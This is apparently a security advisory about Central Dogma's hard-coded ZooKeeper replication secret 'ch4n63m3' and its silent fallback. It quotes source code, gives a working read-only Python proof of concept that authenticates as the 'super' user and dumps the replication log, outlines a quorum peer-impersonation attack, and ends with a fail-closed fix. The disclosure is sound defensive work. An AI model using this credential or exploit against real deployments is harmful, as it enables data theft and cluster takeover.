Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover

Vulnerability

ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.

Three Reinforcing Defects

1. OSS-public credential — DEFAULT_SECRET is in line/centraldogma source.
2. Silent fallback — firstNonNull(convertValue(...), DEFAULT_SECRET) substitutes the default with no log, no warning, no startup banner. The only sanity check checkArgument(!secret().isEmpty(), ...) passes because the getter substitutes the literal before the emptiness check runs.
3. Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.

Architecture Context (Important)

Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.

Applicability

replication.method	ZK Started?	Applicable?
NONE (standalone, dev default)	No	NOT applicable
ZOOKEEPER (HA production)	Yes, embedded on every replica	Fully applicable — canonical production configuration

---

Evidence

File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java Branch: main @ commit d64a5151

Line 53 — the constant:

private static final String DEFAULT_SECRET = "ch4n63m3";

Lines 210–215 — the silent fallback:

/**
 * Returns the secret string used for authenticating the ZooKeeper peers.
 */
public String secret() {
    return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}

---

File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java Lines 586–607 — JAAS wiring (same secret on both surfaces):

final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
    buf.append(name).append(" {").append(newline);
    buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
    buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
    buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
    buf.append(name).append(" {").append(newline);
    buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
    buf.append("username=\"super\"").append(newline);
    buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
    buf.append("};").append(newline);
});

---

File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java

Line 44 — proves CD embeds the ZK server:

final class EmbeddedZooKeeper extends QuorumPeer {

Lines 213–220 — client port binding (loopback only):

private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
    final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
    final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
    // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
    cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
                          zkCfg.getMaxClientCnxns());
    return cnxnFactory;
}

Quorum/election ports are NOT loopback-bound — they bind to replication.servers[].host as configured, exposed on the inter-replica network.

---

PoC

Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.

Surface A — Same-Host Client Port (Loopback) PoC

Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.

#!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).

Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.

SAFETY:
  * Hardcoded to 127.0.0.1. Refuses any other target.
  * Read-only. No writes are issued. No nodes are deleted.
  * Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations

import sys

from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError

HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3"  # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5


def main() -> int:
    port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
    if HOST != "127.0.0.1":
        print("Refusing to run against non-loopback host.", file=sys.stderr)
        return 2

    zk = KazooClient(
        hosts=f"{HOST}:{port}",
        sasl_options={
            "mechanism": "DIGEST-MD5",
            "username": DEFAULT_USER,
            "password": DEFAULT_SECRET,
        },
        read_only=True,
        timeout=5.0,
    )
    try:
        zk.start(timeout=5)
    except Exception as exc:
        print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
        return 1

    try:
        try:
            log_children = zk.get_children("/dogma/logs")
        except NoNodeError:
            print("[i] /dogma/logs not present -- is replication actually enabled?")
            log_children = []

        print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
        print(f"[+] /dogma/logs has {len(log_children)} entries.")
        for child in sorted(log_children)[:MAX_LOGS]:
            path = f"/dogma/logs/{child}"
            try:
                data, stat = zk.get(path)
            except NoNodeError:
                continue
            preview = data[:120].decode("utf-8", errors="replace") if data else ""
            print(f"  - {path}  ({stat.dataLength} bytes)  preview={preview!r}")

        try:
            block_children = zk.get_children("/dogma/log_blocks")
            print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
        except NoNodeError:
            pass

        print(
            f"[!] ZK cluster compromised: read {len(log_children)} log entries "
            "with default credentials."
        )
        return 0
    finally:
        zk.stop()
        zk.close()


if __name__ == "__main__":
    raise SystemExit(main())

Dependencies (requirements.txt): kazoo, pure-sasl

Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:

{
  "replication": {
    "method": "ZOOKEEPER",
    "serverId": 1,
    "servers": {
      "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
    }
  }
}

Note: replication.secret is INTENTIONALLY omitted. Launch with ./gradlew :dist:startup.

Run:

python3 zk_takeover.py 2381

Expected output (VULNERABLE):

[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
  - /dogma/logs/0000000001  (412 bytes)  preview="{"size":..."
  - /dogma/logs/0000000002  (508 bytes)  preview="{"size":..."
  ...
[+] /dogma/log_blocks has 14 entries.
[!] ZK cluster compromised: read 14 log entries with default credentials.

After the patch (fail-closed on null/placeholder secret), Central Dogma refuses to start at all with this config.

Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)

Quorum/election ports bind to the configured replication.servers[].host, NOT to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.

Attack path:

1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).
2. Attacker spins up their own Apache ZooKeeper process configured with:
   • matching serverId (or a new one if the QuorumVerifier allows dynamic membership)
   • JAAS QuorumLearner / QuorumServer digest contexts using super / ch4n63m3
   • quorumServerSaslAuthRequired=true, quorumLearnerSaslAuthRequired=true
3. Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches.
4. Attacker now receives every replicated Command, can attempt to win leader election, and once in the cluster can write to /dogma/logs/ directly — which ZooKeeperCommandExecutor.replayLogs() will deserialize and execute on every legitimate replica.

Dangerous Commands the attacker can replay across the cluster (from Command.java:46-68):

Command	Impact
PURGE_PROJECT	Permanent deletion
ROTATE_SESSION_MASTER_KEY / REWRAP_ALL_KEYS	Pivot encryption-at-rest layer to attacker-controlled keys
UPDATE_SERVER_STATUS (read-only / maintenance)	Denial of Service
CREATE_SESSION with crafted user info	Session forgery

This PoC is intentionally NOT shipped as runnable code. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.

---

Impact

Threat Model (Realistic for LINE Corporate Deployment)

• Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads
• Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts
• Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)

What an Attacker Gains with the Leaked Secret

1. Read the full replication log. /dogma/logs + /dogma/log_blocks contain the Zstd-compressed ReplicationLog entries — every commit, every PUSH payload (with file contents), every credential mutation, every session/master-key management command. Includes CREATE_SESSION_MASTER_KEY, ROTATE_SESSION_MASTER_KEY, REWRAP_ALL_KEYS. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.

2. Write to the replication log (Surface B). Forged LogMeta + log_blocks entries are auto-replayed by ZooKeeperCommandExecutor.replayLogs() on every replica. The attacker gains arbitrary Command execution on the entire cluster.

3. Join the quorum as a fake peer (Surface B). With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.

Scope is Changed (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.

Incident recovery cost: secret rotation alone is insufficient. Every Command that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an extremely high-blast-radius failure mode for a single missing config knob.

Historical analogue: this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.

---

How to Fix

Remove the default constant. Fail closed when replication.secret is missing or matches the legacy placeholder.

// ZooKeeperReplicationConfig.java
// REMOVE: private static final String DEFAULT_SECRET = "ch4n63m3";

@JsonCreator
ZooKeeperReplicationConfig(/* ...unchanged params... */
                           @JsonProperty("secret") @Nullable String secret,
                           /* ... */) {
    // ...
    final String resolved = convertValue(secret, "replication.secret");
    checkArgument(resolved != null && !resolved.isEmpty(),
                  "'replication.secret' must be set (and non-empty) when " +
                  "ZooKeeper replication is enabled. There is no default; " +
                  "generate a long random string and configure it on every " +
                  "replica.");
    // Reject the historical placeholder explicitly so existing config files
    // copy-pasted from old tutorials fail loudly instead of silently.
    checkArgument(!"ch4n63m3".equals(resolved),
                  "'replication.secret' is set to the legacy placeholder " +
                  "value. Replace it with a fresh random secret " +
                  "(`openssl rand -hex 32`).");
    // Optional: enforce minimum length (32 chars) and reject obvious placeholders.
    checkArgument(resolved.length() >= 32,
                  "'replication.secret' must be at least 32 characters. " +
                  "Use `openssl rand -hex 32` to generate one.");
    this.secret = resolved;
}

public String secret() {
    return secret;  // never null at this point
}